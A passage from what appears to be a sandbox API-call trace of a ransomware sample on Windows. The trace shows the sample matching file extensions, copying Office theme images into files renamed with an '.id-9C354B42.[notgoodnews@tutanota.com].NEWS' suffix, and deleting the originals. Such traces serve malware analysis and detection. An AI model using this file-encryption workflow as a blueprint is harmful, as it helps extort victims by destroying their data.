lpString2=".GIF") returned -1 [0070.779] lstrlenW (lpString=".docx") returned 5 [0070.779] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.779] lstrlenW (lpString=".pdf") returned 4 [0070.779] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.779] lstrlenW (lpString=".xls") returned 4 [0070.779] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.779] lstrlenW (lpString=".xlsx") returned 5 [0070.779] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.779] lstrlenW (lpString=".ppt") returned 4 [0070.779] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.779] lstrlenW (lpString=".zip") returned 4 [0070.779] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.779] lstrlenW (lpString=".rar") returned 4 [0070.779] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.779] lstrlenW (lpString=".bz2") returned 4 [0070.779] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.779] lstrlenW (lpString=".7z") returned 3 [0070.779] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.779] lstrlenW (lpString=".dbf") returned 4 [0070.779] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.779] lstrlenW (lpString=".1cd") returned 4 [0070.780] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.780] lstrlenW (lpString=".jpg") returned 4 [0070.780] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.780] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0070.780] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0070.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0070.780] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=32607) returned 1 [0070.780] CloseHandle (hObject=0x1cc) returned 1 [0070.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0070.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0070.781] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.781] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0070.781] GetLastError () returned 0x0 [0070.781] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0070.784] WriteFile (in: hFile=0x208, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0070.787] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.787] WriteFile (in: hFile=0x208, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0070.787] SetEndOfFile (hFile=0x208) returned 1 [0070.787] CloseHandle (hObject=0x208) returned 1 [0070.787] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.787] SetEndOfFile (hFile=0x1cc) returned 1 [0070.788] CloseHandle (hObject=0x1cc) returned 1 [0070.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.789] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0070.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.789] lstrlenW (lpString=".doc") returned 4 [0070.789] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.789] lstrlenW (lpString=".docx") returned 5 [0070.789] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.789] lstrlenW (lpString=".pdf") returned 4 [0070.789] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.789] lstrlenW (lpString=".xls") returned 4 [0070.790] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.790] lstrlenW (lpString=".xlsx") returned 5 [0070.790] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.790] lstrlenW (lpString=".ppt") returned 4 [0070.790] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.790] lstrlenW (lpString=".zip") returned 4 [0070.790] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0070.790] lstrlenW (lpString=".rar") returned 4 [0070.790] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0070.790] lstrlenW (lpString=".bz2") returned 4 [0070.790] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0070.790] lstrlenW (lpString=".7z") returned 3 [0070.790] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0070.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.790] lstrlenW (lpString=".dbf") returned 4 [0070.790] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0070.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.790] lstrlenW (lpString=".1cd") returned 4 [0070.790] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0070.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.790] lstrlenW (lpString=".jpg") returned 4 [0070.790] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0070.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.791] lstrlenW (lpString=".doc") returned 4 [0070.791] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.791] lstrlenW (lpString=".docx") returned 5 [0070.791] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.791] lstrlenW (lpString=".pdf") returned 4 [0070.791] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.791] lstrlenW (lpString=".xls") returned 4 [0070.791] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.791] lstrlenW (lpString=".xlsx") returned 5 [0070.791] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.791] lstrlenW (lpString=".ppt") returned 4 [0070.791] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.791] lstrlenW (lpString=".zip") returned 4 [0070.791] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0070.791] lstrlenW (lpString=".rar") returned 4 [0070.791] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0070.791] lstrlenW (lpString=".bz2") returned 4 [0070.792] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0070.792] lstrlenW (lpString=".7z") returned 3 [0070.792] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0070.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.792] lstrlenW (lpString=".dbf") returned 4 [0070.792] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0070.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.792] lstrlenW (lpString=".1cd") returned 4 [0070.792] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0070.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0070.792] lstrlenW (lpString=".jpg") returned 4 [0070.792] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0070.792] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0070.792] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0070.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0070.793] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=2044) returned 1 [0070.793] CloseHandle (hObject=0x1cc) returned 1 [0070.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0070.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0070.794] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.794] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0070.796] GetLastError () returned 0x0 [0070.796] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x7fc, lpOverlapped=0x0) returned 1 [0070.798] WriteFile (in: hFile=0x208, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x800, lpOverlapped=0x0) returned 1 [0070.800] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.800] WriteFile (in: hFile=0x208, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0070.800] SetEndOfFile (hFile=0x208) returned 1 [0070.800] CloseHandle (hObject=0x208) returned 1 [0070.801] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.801] SetEndOfFile (hFile=0x1cc) returned 1 [0070.802] CloseHandle (hObject=0x1cc) returned 1 [0070.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.803] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0070.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.803] lstrlenW (lpString=".doc") returned 4 [0070.803] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.803] lstrlenW (lpString=".docx") returned 5 [0070.804] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.804] lstrlenW (lpString=".pdf") returned 4 [0070.804] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.804] lstrlenW (lpString=".xls") returned 4 [0070.804] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.804] lstrlenW (lpString=".xlsx") returned 5 [0070.804] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.804] lstrlenW (lpString=".ppt") returned 4 [0070.804] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.804] lstrlenW (lpString=".zip") returned 4 [0070.804] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.804] lstrlenW (lpString=".rar") returned 4 [0070.804] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.804] lstrlenW (lpString=".bz2") returned 4 [0070.804] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.804] lstrlenW (lpString=".7z") returned 3 [0070.804] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.804] lstrlenW (lpString=".dbf") returned 4 [0070.804] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.804] lstrlenW (lpString=".1cd") returned 4 [0070.804] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.805] lstrlenW (lpString=".jpg") returned 4 [0070.805] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.805] lstrlenW (lpString=".doc") returned 4 [0070.805] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.805] lstrlenW (lpString=".docx") returned 5 [0070.805] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.805] lstrlenW (lpString=".pdf") returned 4 [0070.805] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.805] lstrlenW (lpString=".xls") returned 4 [0070.805] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.805] lstrlenW (lpString=".xlsx") returned 5 [0070.805] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.805] lstrlenW (lpString=".ppt") returned 4 [0070.805] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.805] lstrlenW (lpString=".zip") returned 4 [0070.805] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.805] lstrlenW (lpString=".rar") returned 4 [0070.806] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.806] lstrlenW (lpString=".bz2") returned 4 [0070.806] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.806] lstrlenW (lpString=".7z") returned 3 [0070.806] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.806] lstrlenW (lpString=".dbf") returned 4 [0070.806] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.806] lstrlenW (lpString=".1cd") returned 4 [0070.806] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0070.806] lstrlenW (lpString=".jpg") returned 4 [0070.806] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.806] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0070.807] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0070.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0070.924] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=29925) returned 1 [0070.924] CloseHandle (hObject=0x190) returned 1 [0070.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0070.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.965] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.975] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0070.991] GetLastError () returned 0x0 [0070.991] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x74e5, lpOverlapped=0x0) returned 1 [0070.994] WriteFile (in: hFile=0x1a0, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0070.996] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.996] WriteFile (in: hFile=0x1a0, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0070.996] SetEndOfFile (hFile=0x1a0) returned 1 [0070.997] CloseHandle (hObject=0x1a0) returned 1 [0070.997] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.997] SetEndOfFile (hFile=0x1e8) returned 1 [0070.998] CloseHandle (hObject=0x1e8) returned 1 [0070.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.998] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0070.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0070.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0070.999] lstrlenW (lpString=".doc") returned 4 [0070.999] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.999] lstrlenW (lpString=".docx") returned 5 [0070.999] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.999] lstrlenW (lpString=".pdf") returned 4 [0070.999] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.999] lstrlenW (lpString=".xls") returned 4 [0070.999] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.999] lstrlenW (lpString=".xlsx") returned 5 [0070.999] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.999] lstrlenW (lpString=".ppt") returned 4 [0070.999] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0070.999] lstrlenW (lpString=".zip") returned 4 [0070.999] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0070.999] lstrlenW (lpString=".rar") returned 4 [0070.999] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0070.999] lstrlenW (lpString=".bz2") returned 4 [0070.999] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0070.999] lstrlenW (lpString=".7z") returned 3 [0070.999] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0070.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0070.999] lstrlenW (lpString=".dbf") returned 4 [0070.999] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0071.000] lstrlenW (lpString=".1cd") returned 4 [0071.000] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0071.000] lstrlenW (lpString=".jpg") returned 4 [0071.000] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0071.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 